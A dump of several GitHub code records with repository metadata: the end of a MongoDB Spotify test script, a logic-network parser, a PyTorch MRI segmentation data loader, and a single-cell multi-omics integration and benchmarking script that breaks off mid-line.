\"spotifyId\": spotify_id,\n \"Genres\": genre_types,\n \"spotifyUrl\": spotify_link,\n \"spotifyPictures\": spotify_images,\n },\n }\n # Now we take user_data and shove it into the database\n try:\n db.spotifyArtists.insert_one(artist_data)\n print(\"Successfully added user data to spotifyUsers\")\n except:\n print(\"Could not add user data into the database\")\n\n\n#def getMe(uid=None):\n #users = db.users.find_one({\"uid\":uid})\n #access_token = users['spotify_token']\n #headers = {'Authorization': f'Bearer {access_token}'}\n #url = 'https://api.spotify.com/v1/me'\n #r = requests.get(url, headers=headers)\n #r = r.json()\n #print(r)\n #processProfile(r, uid)","repo_name":"AlfredSimpson/IT490-LongSoup","sub_path":"DB/DB_Testing/TESTMongoTest.py","file_name":"TESTMongoTest.py","file_ext":"py","file_size_in_byte":5074,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"31035289464","text":"class network:\n\tdef __init__(self):\n\t\tself.PI = list()\n\t\tself.PO = list()\n\t\tself.nodes = dict()\n\t\tself.nodesLevel = dict()\n\t\tself.nodeNum = 0\n\t\tself.maxLevel = 0\n\t\t\n\tdef insertNodes(self, node):\n\t\tself.nodes[node.name] = node\n\t\t\n\t\tif node.level > self.maxLevel:\n\t\t\tself.maxLevel = node.level\n\t\t\t\t\n\t\t\n\t\tif node.level not in self.nodesLevel:\n\t\t\tself.nodesLevel[node.level] = list()\n\t\t\t\n\t\tself.nodesLevel[node.level].append(node)\n\t\t\n\t\tif(node.nodeType != \"const\"):\n\t\t\tself.nodeNum = self.nodeNum + 1;\n\t\t\t\n\t\n\tdef printNodes(self):\n\t\tkeys = self.nodes.keys()\n\t\t# keys.sort()\n\t\tfor node in keys:\n\t\t\tprint (\"Node: \"+str(self.nodes[node].name)+\" Fin: \"+str(self.nodes[node].Fin)+\" Fout: \"+str(self.nodes[node].Fout)+\" level: \"+str(self.nodes[node].level))\n\t\treturn\n\t\t\n\tdef printNodesExt(self,node):\n\t\tif(node.nodeType == 'AND'):\n\t\t\ts = 'Maj('+self.printNodesExt(node.Fin[0])+', '+self.printNodesExt(node.Fin[1])+', '+self.printNodesExt(node.Fin[2])+')'\n\t\telif(node.nodeType == 'INV'):\n\t\t\ts = 'INV('+self.printNodesExt(node.Fin[0])+')'\n\t\telse:\n\t\t\ts = node.literal\n\t\t\n\t\treturn s\n\t\t# keys.sort()\n\t\t\n\t\tfor node in keys:\n\t\t\tprint (\"Node: \"+str(self.nodes[node].name)+\" Fin: \"+str(self.nodes[node].Fin)+\" Fout: \"+str(self.nodes[node].Fout)+\" level: \"+str(self.nodes[node].level))\n\t\treturn\n\t\t\t\n\tdef exists(self, searchNode):\n\t\tif int(searchNode) in self.nodes:\n\t\t\treturn True, self.nodes[int(searchNode)]\n\t\treturn False , None\t\t\t \n\t\t\n\t\t\n\tdef numberOfNodes(self):\n\t\treturn self.nodeNum\n\t\t\n\tdef deleteNode(self, name):\n\t\tif int(name) in self.nodes:\n\t\t\tdel self.nodes[int(name)]\n\t\t\tself.nodeNum = self.nodeNum - 1;\n\t\t\n\tdef getNode(self, name):\n\t\tif int(name) in self.nodes:\n\t\t\treturn self.nodes[int(name)]\n\t\t\nclass node:\n\tdef __init__(self, name, literal, nodeType, level):\n\t\tself.name = int(name)\n\t\tself.literal = literal\n\t\tself.nodeType = nodeType;\n\t\tself.Fin = list()\n\t\tself.Fout = list()\n\t\tself.value = 0\n\t\tself.level = level\n\t\t\n\tdef insertFin(self, finNode):\n\t\tself.Fin.append(finNode)\n\t\t\n\tdef insertFout(self, foutNode):\n\t\tself.Fout.append(foutNode)\n\t\n\tdef setValue(self, val):\n\t\tself.value = val\n\t\n\tdef setLevel(self, level):\n\t\tself.level = level\n\t\t\nimport pdb\n\t\t\nif __name__ == '__main__':\t\t\n\tfile = open(\"networkOut.out\",'r')\n\t\n\tpNtk = network()\n\tpdb.set_trace()\n\tfor line in file:\n\t\tif \"Primary\" in line:\n\t\t\tId = line.split(':')[1].strip().split(' ')\n\t\t\tfor name in Id:\n\t\t\t\tif \"input\" in line:\n\t\t\t\t\tpNtk.PI.append(name)\n\t\t\t\t\tnewNode = node(name, \"Input\", 0)\n\t\t\t\telse:\n\t\t\t\t\tpNtk.PO.append(name)\n\t\t\t\t\tnewNode = node(name, \"Output\", 0)\n\t\t\t\t\t\n\t\t\t\tpNtk.insertNodes(newNode)\n\t\t\n\t\telse:\n\t\t\tnodeDet = line.strip().split(':')\n\t\t\tif nodeDet[0] == \"0\":\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\t(exist, tempNode) = pNtk.exists(nodeDet[0])\n\t\t\t\tif not exist:\n\t\t\t\t\ttempNode = node(nodeDet[0], \"AND\", int(nodeDet[3]))\n\t\t\t\tif nodeDet[1] != '':\n\t\t\t\t\tfor fin in nodeDet[1].strip().split(' '):\n\t\t\t\t\t\ttempNode.insertFin([fin.split('-')[0], fin.split('-')[1]])\n\t\n\t\t\t\tif nodeDet[2] != '':\n\t\t\t\t\tfor fout in nodeDet[2].strip().split(' '):\n\t\t\t\t\t\ttempNode.insertFout(fout.split('-')[0])\n\t\t\t\tif not exist:\n\t\t\t\t\tpNtk.insertNodes(tempNode)\n\tfile.close()\t\t\t \n","repo_name":"avinash-somanathan/mig_opt","sub_path":"NtkParser.py","file_name":"NtkParser.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33790952365","text":"from torch.utils.data import Dataset, DataLoader\nimport torch\nimport os\nimport numpy as np\nfrom utils.constants import *\n\n# Data generator class\nclass data_generator_pretraining(Dataset):\n\n def __init__(self, list_ids, root_path, callee, transform=None, data_aug=False, semantics=None):\n \n # Store important information.\n self.list_ids = list_ids\n self.root_path = root_path\n self.data_aug = data_aug\n self.transform = transform\n self.semantics = semantics\n self.callee = callee \n \n def __len__(self):\n return len(self.list_ids)\n\n def __getitem__(self, idx):\n \n ##########################################\n ################## SETUP #################\n ##########################################\n\n # Extract semantic info.\n set_x, set_y, set_z = self.semantics[0]\n num_mods = self.semantics[1]\n \n # Data folder path.\n root_path = self.root_path\n \n # Get folder path for this sample.\n sample = (self.list_ids)[idx]\n sample_path = os.path.join(root_path, sample)\n \n # Get the list of modalities/sequences.\n H_or_L = os.listdir(sample_path)\n for hl in H_or_L:\n if \"HGG\" in hl:\n full_path = os.path.join(sample_path, \"HGG\")\n elif \"LGG\" in hl:\n full_path = os.path.join(sample_path, \"LGG\")\n else:\n raise Exception(\"ERROR: Empty folder.\")\n \n # Get and sort modalities/sequences.\n modalities = os.listdir(full_path)\n modalities = sorted(modalities)\n\n # Data dictionary, holding the modalities/sequences, the ground truth segmentation map, and the brain mask.\n sample_dict = {\n const_MODS: None,\n const_SEG: None,\n const_MASK: None\n }\n \n # Holds the modalities/sequences.\n x_mods = []\n \n ##########################################\n ############### BRAIN MASK ###############\n ##########################################\n \n # Get the brain mask.\n mask_path = os.path.join(full_path, \"mask.npy\")\n mask = np.load(mask_path)\n unpadded_mask = np.copy(mask)\n \n # Determine the required padding.\n x_init,y_init,z_init = np.shape(mask)\n \n x_diff = set_x - x_init\n y_diff = set_y - y_init\n z_diff = set_z - z_init\n\n x_start = x_diff//2\n x_end = x_diff - x_start\n y_start = y_diff//2\n y_end = y_diff - y_start\n z_start = z_diff//2\n z_end = z_diff - z_start\n\n # Pad the brain mask.\n mask = np.pad(mask,((x_start,x_end),(y_start,y_end),(z_start,z_end)))\n x_fin, y_fin, z_fin = np.shape(mask)\n if ((x_fin != set_x) or (y_fin != set_y) or (z_fin != set_z)):\n raise Exception(\"Error: Wrong size.\")\n\n # Convert brain mask to 16-bit int and put it in the dictionary. \n mask = np.int16(mask)\n sample_dict[const_MASK]= np.copy(mask)\n \n ##########################################\n ################# SEG MAP ################\n ##########################################\n \n # Get the segmentation map.\n seg_path = os.path.join(full_path, \"seg.npy\")\n seg = np.load(seg_path)\n seg[np.where(seg==4)] = 3\n \n # Pad the ground truth segmentation map.\n seg = np.pad(seg,((x_start,x_end),(y_start,y_end),(z_start,z_end)))\n x_fin, y_fin, z_fin = np.shape(seg)\n if ((x_fin != set_x) or (y_fin != set_y) or (z_fin != set_z)):\n raise Exception(\"Error: Wrong size.\")\n\n # Convert the segmentation map to a 16-bit int and put it in the dictionary.\n seg = np.int16(seg)\n seg = np.expand_dims(seg,axis=0)\n sample_dict[const_SEG] = np.copy(seg)\n \n ##########################################\n ################### MODS #################\n ##########################################\n \n # Each folder contains 4 modalities/sequences, the brain mask, and the segmentation ground truth.\n for modality_name in modalities:\n\n # We only want the modalities/sequences (i.e., not the brain mask or the segmentation map).\n if \".npy\" in modality_name:\n if ((\"mask\" not in modality_name) and (\"seg\" not in modality_name)):\n \n # Get modality.\n mod_path = os.path.join(full_path, modality_name)\n modality = np.load(mod_path)\n modality = np.float32(modality)\n \n # Normalize the modalities/sequences so that they have 0 mean and unit standard deviation.\n brain_mask = np.where(unpadded_mask==1)\n mu = modality[brain_mask].mean()\n sigma = modality[brain_mask].std()\n \n modality = (modality - mu) / sigma \n modality = np.clip(modality, np.min(modality),3)\n modality = (modality + (-np.min(modality))) / (3-np.min(modality))\n \n # Pad the modality/sequence.\n modality = np.pad(modality,((x_start,x_end),(y_start,y_end),(z_start,z_end)), 'constant', constant_values=(0))\n x_fin, y_fin, z_fin = np.shape(modality)\n if ((x_fin != set_x) or (y_fin != set_y) or (z_fin != set_z)):\n raise Exception(\"Error: Wrong size.\")\n \n # If the callee is the student, then only add the the pre-contrast modalities/sequences to the list.\n # If it is the teacher, append all the available modalities/sequences to the list.\n if(self.callee == \"student\"):\n if(\"t1c\" not in modality_name):\n x_mods.append(modality)\n elif(self.callee == \"teacher\"):\n x_mods.append(modality)\n else:\n raise Exception(\"ERROR: callee type ''\",self.callee,\"'' not supported.\")\n\n # Check length of the list of modalities/sequences.\n if(len(x_mods)!=num_mods):\n raise Exception(\"ERROR: length x_mod is not \",num_mods,\"! It is of length \",len(x_mods)) \n \n # Concatenate the input modalities/sequences.\n mod_shape_0, mod_shape_1, mod_shape_2 = x_mods[0].shape\n concated_x_mods = np.zeros((num_mods, mod_shape_0, mod_shape_1, mod_shape_2))\n for mod_index in range(num_mods):\n concated_x_mods[mod_index,:,:,:] = np.copy(x_mods[mod_index])\n sample_dict[const_MODS] = np.copy(concated_x_mods)\n \n ##########################################\n ################ DATA AUG ################\n ##########################################\n \n # If true, augment and convert to tensor.\n if(self.data_aug):\n \n # Check for error.\n if(self.transform is None):\n raise Exception(\"ERROR: Transform is None while data_aug is True!\")\n \n # Augment data.\n sample_dict = self.transform(sample_dict)\n \n # Convert to tensor.\n for key in sample_dict:\n sample_dict[key] = torch.from_numpy(sample_dict[key])\n \n # Else just convert to tensor.\n else:\n for key in sample_dict:\n sample_dict[key] = torch.from_numpy(sample_dict[key]) \n \n # Return the input, target, and brain mask.\n return(sample_dict[const_MODS], sample_dict[const_SEG][0], sample_dict[const_MASK])","repo_name":"SaverioVad/HAD_Net","sub_path":"utils/data_generator_pretraining.py","file_name":"data_generator_pretraining.py","file_ext":"py","file_size_in_byte":7856,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"41639239970","text":"# In[]\nimport sys, os\nsys.path.append('../')\nimport torch\nimport numpy as np\nimport umap_batch\nfrom umap import UMAP\nimport matplotlib.pyplot as plt\nimport pandas as pd \nimport scipy.sparse as sp\n\nimport scmomat.model as model\nimport scmomat.utils as utils\nimport scmomat.bmk as bmk\nimport scmomat.umap_batch as umap_batch\nimport time\n\n\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n\ndef quantile_norm(targ_mtx, ref_mtx, replace = False):\n # sampling and don't put back\n reference = np.sort(np.random.choice(ref_mtx.reshape(-1), targ_mtx.shape[0] * targ_mtx.shape[1], replace = replace))\n dist_temp = targ_mtx.reshape(-1)\n dist_idx = np.argsort(dist_temp)\n dist_temp[dist_idx] = reference\n return dist_temp.reshape(targ_mtx.shape[0], targ_mtx.shape[1])\n\n# In[]\n# ------------------------------------------------------------------------------------------------------------------------------------------------------\n#\n# NOTE: 1. Load dataset and running scmomat (without retraining, retraining see the third section)\n#\n# ------------------------------------------------------------------------------------------------------------------------------------------------------\n# NOTE: read in dataset\ndir = '../data/real/diag/Xichen/'\nresult_dir = \"spleen/scmomat/\"\nseurat_path = \"spleen/seurat/\"\nliger_path = \"spleen/liger/\"\n\ncounts_rnas = []\ncounts_atacs = []\nlabels = []\nn_batches = 2\nfor batch in range(1, n_batches+1):\n labels.append(pd.read_csv(os.path.join(dir, 'meta_c' + str(batch) + '.csv'), index_col=0)[\"cell_type\"].values.squeeze())\n try:\n counts_atac = sp.load_npz(os.path.join(dir, 'RxC' + str(batch) + \".npz\")).toarray().T\n counts_atac = utils.preprocess(counts_atac, modality = \"ATAC\")\n except:\n counts_atac = None \n try:\n counts_rna = sp.load_npz(os.path.join(dir, 'GxC' + str(batch) + \".npz\")).toarray().T\n counts_rna = utils.preprocess(counts_rna, modality = \"RNA\", log = False)\n except:\n counts_rna = None\n counts_rnas.append(counts_rna)\n counts_atacs.append(counts_atac)\n\ncounts = {\"rna\":counts_rnas, \"atac\": counts_atacs}\n\nA = sp.load_npz(os.path.join(dir, 'GxR.npz')).toarray()\ninteracts = None\n\ngenes = pd.read_csv(dir + \"genes.txt\", header = None).values.squeeze()\nregions = pd.read_csv(dir + \"regions.txt\", header = None).values.squeeze()\n\nfeats_name = {\"rna\": genes, \"atac\": regions}\ncounts[\"feats_name\"] = feats_name\n\n\n# CALCULATE PSEUDO-SCRNA-SEQ\ncounts[\"rna\"][1] = counts[\"atac\"][1] @ A.T\n#BINARIZE, still is able to see the cluster pattern, much denser than scRNA-Seq (cluster pattern clearer)\ncounts[\"rna\"][1] = (counts[\"rna\"][1]!=0).astype(int)\n\n# PLOT FUNCTION\n# x_umap = UMAP(n_components = 2, min_dist = 0.4, random_state = 0).fit_transform(np.concatenate(counts[\"rna\"], axis = 0))\n# utils.plot_latent_ext([x_umap[:counts[\"rna\"][0].shape[0], :], x_umap[counts[\"rna\"][0].shape[0]:, :]], annos = labels, mode = \"separate\", save = None, figsize = (10,15), axis_label = \"UMAP\")\n# utils.plot_latent_ext([x_umap[:counts[\"rna\"][0].shape[0], :], x_umap[counts[\"rna\"][0].shape[0]:, :]], annos = labels, mode = \"modality\", save = None, figsize = (10,7), axis_label = \"UMAP\")\n\ncounts[\"nbatches\"] = n_batches\n\n# make T_CD8_naive AND Memory_CD8_T to be all T_CD8\nlabels[0] = np.where(labels[0] == \"T_CD8_naive\", \"T_CD8\", labels[0])\nlabels[0] = np.where(labels[0] == \"Memory_CD8_T\", \"T_CD8\", labels[0])\nlabels[1] = np.where(labels[1] == \"T_CD8_naive\", \"T_CD8\", labels[1])\nlabels[1] = np.where(labels[1] == \"Memory_CD8_T\", \"T_CD8\", labels[1])\n# rna batch (batch 1) unique Unknown, and Proliferating\n\n# In[] \n# NOTE: Running scmomat\n# weight on regularization term\nlamb = 0.001\nbatchsize = 0.1\n# running seed\nseed = 0\n# number of latent dimensions\nK = 30\ninterval = 1000\nT = 4000\nlr = 1e-2\n\nstart_time = time.time()\nmodel1 = model.scmomat_model(counts = counts, K = K, batch_size = batchsize, interval = interval, lr = lr, lamb = lamb, seed = seed, device = device)\nlosses1 = model1.train_func(T = T)\nend_time = time.time()\nprint(\"running time: \" + str(end_time - start_time))\n\nx = np.linspace(0, T, int(T/interval) + 1)\nplt.plot(x, losses1)\n\ntorch.save(model1, result_dir + f'CFRM_{K}_{T}.pt')\nmodel1 = torch.load(result_dir + f'CFRM_{K}_{T}.pt')\n\n# In[] Check the scales is positive\nfor mod in model1.A_assos.keys():\n if mod != \"shared\":\n print(\"minimum\")\n print(mod)\n print(torch.min(model1.A_assos[\"shared\"] + model1.A_assos[mod]).item())\n\nfor mod in model1.A_assos.keys():\n if mod != \"shared\":\n print(\"mean\")\n print(mod)\n print(torch.mean(model1.A_assos[\"shared\"] + model1.A_assos[mod]).item())\n\nfor mod in model1.A_assos.keys():\n if mod != \"shared\":\n print(\"maximum\")\n print(mod)\n print(torch.max(model1.A_assos[\"shared\"] + model1.A_assos[mod]).item())\n\nprint(model1.scales)\n# In[]\n# NOTE: Plot the result before post-processing\numap_op = UMAP(n_components = 2, n_neighbors = 15, min_dist = 0.4, random_state = 0) \nzs = []\nlabels = []\nfor batch in range(0,n_batches):\n z = model1.softmax(model1.C_cells[str(batch)].cpu().detach()).numpy()\n zs.append(z)\n labels.append(pd.read_csv(os.path.join(dir, 'meta_c' + str(batch + 1) + '.csv'), index_col=0)[\"cell_type\"].values.squeeze())\n\nx_umap = umap_op.fit_transform(np.concatenate(zs, axis = 0))\n# separate into batches\nx_umaps = []\nfor batch in range(0,n_batches):\n if batch == 0:\n start_pointer = 0\n end_pointer = start_pointer + zs[batch].shape[0]\n x_umaps.append(x_umap[start_pointer:end_pointer,:])\n elif batch == (n_batches-1):\n start_pointer = start_pointer + zs[batch - 1].shape[0]\n x_umaps.append(x_umap[start_pointer:,:])\n else:\n start_pointer = start_pointer + zs[batch - 1].shape[0]\n end_pointer = start_pointer + zs[batch].shape[0]\n x_umaps.append(x_umap[start_pointer:end_pointer,:])\n\nutils.plot_latent_ext(x_umaps, annos = labels, mode = \"separate\", save = result_dir + f'latent_separate_{K}_{T}.png', figsize = (10,15), axis_label = \"UMAP\")\n\nutils.plot_latent_ext(x_umaps, annos = labels, mode = \"modality\", save = result_dir + f'latent_batches_{K}_{T}.png', figsize = (15,10), axis_label = \"UMAP\", markerscale = 6)\n\nutils.plot_latent_ext(x_umaps, annos = labels, mode = \"joint\", save = result_dir + f'latent_clusters_{K}_{T}.png', figsize = (15,10), axis_label = \"UMAP\", markerscale = 6)\n\n# In[] \n# NOTE: Post-processing, clustering, and plot the result after post-processing\nn_neighbors = 30\n\nzs = []\nfor batch in range(n_batches):\n z = model1.softmax(model1.C_cells[str(batch)].cpu().detach()).numpy()\n zs.append(z)\n\ns_pair_dist, knn_indices, knn_dists = utils.post_process(zs, n_neighbors, njobs = 8)\n# here load the score.csv that we calculated in advance to select the best resolution\nscores = pd.read_csv(result_dir + \"scores.csv\", index_col = 0)\nscores = scores[scores[\"methods\"] == \"scMoMaT\"] \nresolution = scores[\"resolution\"].values[np.argmax(scores[\"NMI\"].values.squeeze())]\nprint(resolution)\nresolution = 0.6\n\nlabels_tmp = utils.leiden_cluster(X = None, knn_indices = knn_indices, knn_dists = knn_dists, resolution = resolution)\numap_op = umap_batch.UMAP(n_components = 2, n_neighbors = n_neighbors, min_dist = 0.2, random_state = 0, \n metric='precomputed', knn_dists=knn_dists, knn_indices=knn_indices)\nx_umap = umap_op.fit_transform(s_pair_dist)\n\n# separate into batches\nx_umaps = []\nleiden_labels = []\nfor batch in range(n_batches):\n if batch == 0:\n start_pointer = 0\n end_pointer = start_pointer + zs[batch].shape[0]\n x_umaps.append(x_umap[start_pointer:end_pointer,:])\n leiden_labels.append(labels_tmp[start_pointer:end_pointer])\n\n elif batch == (n_batches - 1):\n start_pointer = start_pointer + zs[batch - 1].shape[0]\n x_umaps.append(x_umap[start_pointer:,:])\n leiden_labels.append(labels_tmp[start_pointer:])\n\n else:\n start_pointer = start_pointer + zs[batch - 1].shape[0]\n end_pointer = start_pointer + zs[batch].shape[0]\n x_umaps.append(x_umap[start_pointer:end_pointer,:])\n leiden_labels.append(labels_tmp[start_pointer:end_pointer])\n\nutils.plot_latent_ext(x_umaps, annos = labels, mode = \"separate\", save = result_dir + f'latent_separate_{K}_{T}_processed2.png', \n figsize = (10,15), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\nutils.plot_latent_ext(x_umaps, annos = labels, mode = \"modality\", save = result_dir + f'latent_batches_{K}_{T}_processed2.png', \n figsize = (10,7), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\nutils.plot_latent_ext(x_umaps, annos = labels, mode = \"joint\", save = result_dir + f'latent_clusters_{K}_{T}_processed2.png', \n figsize = (12,7), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\nutils.plot_latent_ext(x_umaps, annos = leiden_labels, mode = \"joint\", save = result_dir + f'latent_leiden_clusters_{K}_{T}_{resolution}_processed2.png', \n figsize = (10,7), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\n# In[]\n# ------------------------------------------------------------------------------------------------------------------------------------------------------\n#\n# NOTE: 2. Benchmarking with baseline methods\n#\n# ------------------------------------------------------------------------------------------------------------------------------------------------------\n# NOTE: Baseline methods\n# 1. UINMF\nuinmf_path = \"spleen/uinmf_bin/\" \nH1_uinmf = pd.read_csv(uinmf_path + \"liger_c1_norm.csv\", index_col = 0).values\nH2_uinmf = pd.read_csv(uinmf_path + \"liger_c2_norm.csv\", index_col = 0).values\nuinmf_umap = UMAP(n_components = 2, min_dist = 0.4, random_state = 0).fit_transform(np.concatenate((H1_uinmf, H2_uinmf), axis = 0))\nuinmf_umaps = []\nfor batch in range(n_batches):\n if batch == 0:\n start_pointer = 0\n end_pointer = start_pointer + zs[batch].shape[0]\n uinmf_umaps.append(uinmf_umap[start_pointer:end_pointer,:])\n elif batch == (n_batches - 1):\n start_pointer = start_pointer + zs[batch - 1].shape[0]\n uinmf_umaps.append(uinmf_umap[start_pointer:,:])\n else:\n start_pointer = start_pointer + zs[batch - 1].shape[0]\n end_pointer = start_pointer + zs[batch].shape[0]\n uinmf_umaps.append(uinmf_umap[start_pointer:end_pointer,:])\n\nutils.plot_latent_ext(uinmf_umaps, annos = labels, mode = \"separate\", save = uinmf_path + f'latent_separate_uinmf.png', \n figsize = (15,15), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\nutils.plot_latent_ext(uinmf_umaps, annos = labels, mode = \"modality\", save = uinmf_path + f'latent_batches_uinmf.png', \n figsize = (10,7), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\nutils.plot_latent_ext(uinmf_umaps, annos = labels, mode = \"joint\", save = uinmf_path + f'latent_clusters_uinmf.png', \n figsize = (12,7), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\n\n# 2. Multimap\nmultimap_path = \"spleen/multimap/\"\nbatches = pd.read_csv(multimap_path + \"batch_id.csv\", index_col = 0)\nX_multimap = np.load(multimap_path + \"multimap.npy\")\nG_multimap = sp.load_npz(multimap_path + \"multimap_graph.npz\").toarray()\nX_multimaps = []\nfor batch in [\"RNA\", \"ATAC\"]:\n X_multimaps.append(X_multimap[batches.values.squeeze() == batch, :])\n\nutils.plot_latent_ext(X_multimaps, annos = labels, mode = \"separate\", save = multimap_path + f'latent_separate_multimap.png', \n figsize = (15,15), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\nutils.plot_latent_ext(X_multimaps, annos = labels, mode = \"modality\", save = multimap_path + f'latent_batches_multimap.png', \n figsize = (10,7), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\nutils.plot_latent_ext(X_multimaps, annos = labels, mode = \"joint\", save = multimap_path + f'latent_clusters_multimap.png', \n figsize = (12,7), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\n\n# 3. Seurat\nseurat_path = \"spleen/seurat/\"\nseurat_pcas = [pd.read_csv(seurat_path + \"seurat_pca_c1.txt\", sep = \"\\t\", index_col = 0).values, \n pd.read_csv(seurat_path + \"seurat_pca_c2.txt\", sep = \"\\t\", index_col = 0).values]\nseurat_umaps = [pd.read_csv(seurat_path + \"seurat_umap_c1.txt\", sep = \"\\t\", index_col = 0).values,\n pd.read_csv(seurat_path + \"seurat_umap_c2.txt\", sep = \"\\t\", index_col = 0).values]\n\n\nutils.plot_latent_ext(seurat_umaps, annos = labels, mode = \"separate\", save = seurat_path + f'latent_separate_seurat.png', \n figsize = (15,15), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\nutils.plot_latent_ext(seurat_umaps, annos = labels, mode = \"modality\", save = seurat_path + f'latent_batches_seurat.png', \n figsize = (10,7), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\nutils.plot_latent_ext(seurat_umaps, annos = labels, mode = \"joint\", save = seurat_path + f'latent_clusters_seurat.png', \n figsize = (12,7), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\n# 4. Liger\nliger_path = \"spleen/liger/\"\nH1_liger = pd.read_csv(liger_path + \"liger_c1_norm.csv\", sep = \",\", index_col = 0).values\nH2_liger = pd.read_csv(liger_path + \"liger_c2_norm.csv\", sep = \",\", index_col = 0).values\nliger_umap = UMAP(n_components = 2, min_dist = 0.4, random_state = 0).fit_transform(np.concatenate((H1_liger, H2_liger), axis = 0))\nliger_umaps = []\nfor batch in range(0,2):\n if batch == 0:\n start_pointer = 0\n end_pointer = start_pointer + counts[\"rna\"][batch].shape[0]\n liger_umaps.append(liger_umap[start_pointer:end_pointer,:])\n elif batch == 1:\n start_pointer = start_pointer + counts[\"rna\"][batch - 1].shape[0]\n liger_umaps.append(liger_umap[start_pointer:,:])\n else:\n start_pointer = start_pointer + counts[\"rna\"][batch - 1].shape[0]\n end_pointer = start_pointer + counts[\"rna\"][batch].shape[0]\n liger_umaps.append(liger_umap[start_pointer:end_pointer,:])\n\nutils.plot_latent_ext(liger_umaps, annos = labels, mode = \"separate\", save = liger_path + f'latent_separate_liger.png', \n figsize = (10,15), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\nutils.plot_latent_ext(liger_umaps, annos = labels, mode = \"modality\", save = liger_path + f'latent_batches_liger.png', \n figsize = (10,7), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\nutils.plot_latent_ext(liger_umaps, annos = labels, mode = \"joint\", save = liger_path + f'latent_clusters_liger.png', \n figsize = (12,7), axis_label = \"Latent\", markerscale = 6, s = 5, label_inplace = True, text_size = \"large\", colormap = \"Paired\", alpha = 0.7)\n\n\n\n# In[]\n# n_neighbors affect the overall acc, and should be the same as scMoMaT\nn_neighbors = knn_indices.shape[1]\n# NOTE: calculate benchmarking scores\n# labels[1] = np.where(labels[1] == \"Memory_CD8_T\", \"T_CD8_naive\", labels[1])\n# graph connectivity score (gc) measure the batch effect removal per cell identity\n# 1. scMoMaT\n# construct neighborhood graph from the post-processed latent space\nknn_graph = np.zeros((knn_indices.shape[0], knn_indices.shape[0]))\nknn_graph[np.arange(knn_indices.shape[0])[:, None], knn_indices] = 1\ngc_scmomat = bmk.graph_connectivity(G = knn_graph, groups = np.concatenate(labels, axis = 0))\nprint('GC (scmomat): {:.3f}'.format(gc_scmomat))\n\n# 2. Seurat\ngc_seurat = bmk.graph_connectivity(X = np.concatenate(seurat_pcas, axis = 0), groups = np.concatenate(labels, axis = 0), k = n_neighbors)\nprint('GC (Seurat): {:.3f}'.format(gc_seurat))\n\n# 3. Liger\ngc_liger = bmk.graph_connectivity(X = np.concatenate((H1_liger, H2_liger), axis = 0), groups = np.concatenate(labels, axis = 0), k = n_neighbors)\nprint('GC (Liger): {:.3f}'.format(gc_liger))\n\n# 4. UINMF\ngc_uinmf = bmk.graph_connectivity(X = np.concatenate((H1_uinmf, H2_uinmf), axis = 0), groups = np.concatenate(labels, axis = 0), k = n_neighbors)\nprint('GC (UINMF): {:.3f}'.format(gc_uinmf))\n\n# 5. Multimap\n# NOTE: G_multimap is an affinity graph, closer neighbor with larger value\n# argsort from small to large, select the last n_neighbors\nG_multimap = sp.load_npz(multimap_path + \"multimap_graph.npz\").toarray()\nknn_indices_multimap = G_multimap.argsort(axis = 1)[:, -n_neighbors:]\nknn_graph_multimap = np.zeros_like(G_multimap)\nknn_graph_multimap[np.arange(knn_indices_multimap.shape[0])[:, None], knn_indices_multimap] = 1\ngc_multimap = bmk.graph_connectivity(G = knn_graph_multimap, groups = np.concatenate(labels, axis = 0), k = n_neighbors)\ngc_multimap2 = bmk.graph_connectivity(X = np.concatenate(X_multimaps, axis = 0), groups = np.concatenate(labels, axis = 0), k = n_neighbors)\nprint('GC (MultiMap): {:.3f}'.format(gc_multimap))\nprint('GC (MultiMap Graph): {:.3f}'.format(gc_multimap2))\n\n# Batch effect removal regardless of cell identity\n# Graph iLISI\n\n# Conservation of biological identity\n# NMI and ARI\n# 1. scMoMaT\nnmi_scmomat = []\nari_scmomat = []\nfor resolution in np.arange(0.1, 10, 0.5):\n leiden_labels_scmomat = utils.leiden_cluster(X = None, knn_indices = knn_indices, knn_dists = knn_dists, resolution = resolution)\n nmi_scmomat.append(bmk.nmi(group1 = np.concatenate(labels), group2 = leiden_labels_scmomat))\n ari_scmomat.append(bmk.ari(group1 = np.concatenate(labels), group2 = leiden_labels_scmomat))\nprint('NMI (scMoMaT): 